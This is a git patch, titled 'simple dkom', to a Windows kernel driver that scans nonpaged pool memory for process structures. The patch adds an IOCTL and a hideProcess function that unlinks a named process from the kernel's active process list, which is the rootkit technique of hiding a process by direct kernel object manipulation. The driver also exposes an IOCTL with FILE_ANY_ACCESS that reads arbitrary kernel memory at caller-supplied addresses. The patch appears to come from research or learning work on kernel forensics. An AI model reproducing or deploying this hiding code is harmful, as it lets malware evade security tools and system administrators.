From 439f691d56d9ffe1b51b66e2e6a93a66e72b2286 Mon Sep 17 00:00:00 2001 From: nganhkhoa Date: Thu, 27 Feb 2020 23:36:03 +0700 Subject: [PATCH] simple dkom --- KMDF Driver2/Driver.cpp | 64 ++++++++++++++++++++++++++++++++++------- KMDF Driver2/Driver.h | 3 ++ KMDF Driver2/sioctl.h | 9 ++++++ 3 files changed, 65 insertions(+), 11 deletions(-) diff --git a/KMDF Driver2/Driver.cpp b/KMDF Driver2/Driver.cpp index 3a04bc5..9bfb600 100644 --- a/KMDF Driver2/Driver.cpp +++ b/KMDF Driver2/Driver.cpp @@ -69,6 +69,7 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) { POFFSET_VALUE offsetValues = nullptr; PDEREF_ADDR derefAddr = nullptr; PSCAN_RANGE scanRange = nullptr; + PHIDE_PROCESS processHide = nullptr; PAGED_CODE(); @@ -83,8 +84,6 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) { **/ controlCode = irpSp->Parameters.DeviceIoControl.IoControlCode; - DbgPrint("[NAK] :: [ ] Control Code : %lu\n", controlCode); - switch (controlCode) { case IOCTL_SETUP_OFFSETS: DbgPrint("[NAK] :: [ ] Setup offsets\n"); @@ -126,16 +125,25 @@ DriverControl(PDEVICE_OBJECT /* DriverObject */, PIRP Irp) { inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer); outputData = (POUTPUT_DATA)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority | MdlMappingNoExecute); scanRange = &(inputData->scanRange); + DbgPrint("[NAK] :: Range: %llx - %llx", scanRange->start, scanRange->end); (outputData->poolChunk).addr = (ULONG64)scanRemote(scanRange->start, scanRange->end); + DbgPrint("[NAK] :: Found: %llx", (outputData->poolChunk).addr); break; case DEREFERENCE_ADDRESS: - DbgPrint("[NAK] :: [ ] Deref address\n"); + // DbgPrint("[NAK] :: [ ] Deref address\n"); inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer); derefAddr = &(inputData->derefAddr); outputData = (POUTPUT_DATA)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority | MdlMappingNoExecute); - DbgPrint("[NAK] :: [ ] Deref %llu bytes from %llx\n", derefAddr->size, derefAddr->addr); + // DbgPrint("[NAK] :: [ ] Deref %llu bytes from %llx\n", derefAddr->size, derefAddr->addr); RtlCopyBytes((PVOID)outputData, (PVOID)derefAddr->addr, (SIZE_T)derefAddr->size); break; + case HIDE_PROCESS_BY_NAME: + DbgPrint("[NAK] :: [ ] Hide process\n"); + inputData = (PINPUT_DATA)(Irp->AssociatedIrp.SystemBuffer); + processHide = &(inputData->processHide); + DbgPrint("[NAK] :: [ ] Hide process name: [%15s]; size: %llu\n", processHide->name, processHide->size); + hideProcess(processHide->name, processHide->size); + break; default: break; } @@ -230,6 +238,35 @@ scan_ps_active_head() { } } +VOID +hideProcess(CHAR* name, ULONG64 size) { + PVOID eprocess = (PVOID)((ULONG64)processHead - eprocessLinkOffset); + while (*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) != (ULONG64)processHead) { + PVOID next_eprocess = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) - eprocessLinkOffset); + char* processName = (char*)((ULONG64)eprocess + eprocessNameOffset); + int i = 0; + for (; i < size; i++) { + if (processName[i] != name[i]) break; + } + if (i != size) { + eprocess = next_eprocess; + continue; + } + // found process with name + PVOID next_eprocess_link = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset)); + PVOID prev_eprocess_link = (PVOID)(*(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset + listBLinkOffset)); + + // set current to 0 + // *(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset) = 0; + // *(ULONG64*)((ULONG64)eprocess + eprocessLinkOffset + listBLinkOffset) = 0; + + *(ULONG64*)((ULONG64)next_eprocess_link + listBLinkOffset) = (ULONG64)prev_eprocess_link; + *(ULONG64*)prev_eprocess_link = (ULONG64)next_eprocess_link; + + eprocess = next_eprocess; + } +} + NTSTATUS routine() { PAGED_CODE(); @@ -431,7 +468,7 @@ validPool(PPOOL_HEADER p) { // (p->blockSize > 0) && // rule 2 // (p->blockSize * CHUNK_SIZE + offsetInPage == PAGE_SIZE) && // rule 3 // (p->prevBlockSize * CHUNK_SIZE <= offsetInPage) // rule 5 - if ((p->blockSize * CHUNK_SIZE)< 0xb00 + 0x10 || // eprocess size + pool_header size + if ((p->blockSize * CHUNK_SIZE) < 0xb00 + 0x10 || // eprocess size + pool_header size // p->poolType % 2 != 0 || // pool tag must be even number aka nonpaged p->poolType != 2 // force to search for nonpaged pool only aka poolType == 2 ) @@ -470,7 +507,7 @@ scanNormalPool(ULONG64 nonPagedPoolStart, ULONG64 nonPagedPoolEnd) { **/ POOL_HEADER p; - PVOID eprocess; + PVOID eprocess = nullptr; char eprocess_name[16] = {0}; // eprocess name is 15 bytes + 1 null PVOID currentAddr = (PVOID)(nonPagedPoolStart); while (true) { @@ -505,20 +542,25 @@ scanNormalPool(ULONG64 nonPagedPoolStart, ULONG64 nonPagedPoolEnd) { if (!validTag(&p)) continue; if (!validPool(&p)) continue; - if (p.tag != 'Proc') + if (p.tag != 'Proc' && p.tag != 'corP') continue; // TODO: Parse data as _EPROCESS // The first Proc found seems to be the System _EPROCESS // The offset of system's chunk to _EPROCESS is 0x40, size is ... // but offset of other processes' chunk to _EPROCESS is 0x80, size is 0xe00 + // TODO: search for CreateTime, this field must be in range [system startup time; now] + // this is resolved in frontend printChunkInfo(&p); - if (p->blockSize * CHUNK_SIZE == 0xf00) { + if (p.blockSize * CHUNK_SIZE == 0xf00) { eprocess = (PVOID)((ULONG64)p.addr + 0x40); - } else if (p->blockSize * CHUNK_SIZE == 0xd80) { + } else if (p.blockSize * CHUNK_SIZE == 0xd80) { eprocess = (PVOID)((ULONG64)p.addr + 0x70); - } else if (p->blockSize * CHUNK_SIZE == 0xe00) { + } else if (p.blockSize * CHUNK_SIZE == 0xe00) { eprocess = (PVOID)((ULONG64)p.addr + 0x80); + } else { + DbgPrint("[NAK] :: [ ] This is not a valid eprocess, maybe\n"); + continue; } RtlStringCbCopyNA(eprocess_name, 16, (char*)((ULONG64)eprocess + eprocessNameOffset), 15); DbgPrint("[NAK] :: [ ] eprocess offset 0x80 : 0x%p, [%s]\n", eprocess, eprocess_name); @@ -552,7 +594,7 @@ scanRemote(ULONG64 startAddress, ULONG64 endAddress) { if (!validTag(&p)) continue; if (!validPool(&p)) continue; - if (p.tag != 'Proc') + if (p.tag != 'Proc' && p.tag != 'corP') continue; return p.addr; diff --git a/KMDF Driver2/Driver.h b/KMDF Driver2/Driver.h index bf7ccff..b17f1e4 100644 --- a/KMDF Driver2/Driver.h +++ b/KMDF Driver2/Driver.h @@ -48,4 +48,7 @@ scanLargePool(PVOID largePageTableArray, ULONG64 largePageTableSize); PVOID scanRemote(ULONG64 startAddress, ULONG64 endAddress); +VOID +hideProcess(CHAR* name, ULONG64 size); + #endif diff --git a/KMDF Driver2/sioctl.h b/KMDF Driver2/sioctl.h index 9bf734a..dc26980 100644 --- a/KMDF Driver2/sioctl.h +++ b/KMDF Driver2/sioctl.h @@ -45,6 +45,9 @@ Environment: #define DEREFERENCE_ADDRESS \ CTL_CODE(SIOCTL_TYPE, 0xA00, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) +#define HIDE_PROCESS_BY_NAME \ + CTL_CODE(SIOCTL_TYPE, 0xA01, METHOD_IN_DIRECT, FILE_ANY_ACCESS) + #define DRIVER_FUNC_INSTALL 0x01 #define DRIVER_FUNC_REMOVE 0x02 @@ -75,10 +78,16 @@ typedef struct _SCAN_RANGE { ULONG64 end; } SCAN_RANGE, *PSCAN_RANGE; +typedef struct _HIDE_PROCESS { + CHAR name[15]; + ULONG64 size; +} HIDE_PROCESS, *PHIDE_PROCESS; + typedef union _INPUT_DATA { OFFSET_VALUES offsetValues; DEREF_ADDR derefAddr; SCAN_RANGE scanRange; + HIDE_PROCESS processHide; } INPUT_DATA, *PINPUT_DATA; typedef struct _POOL_CHUNK {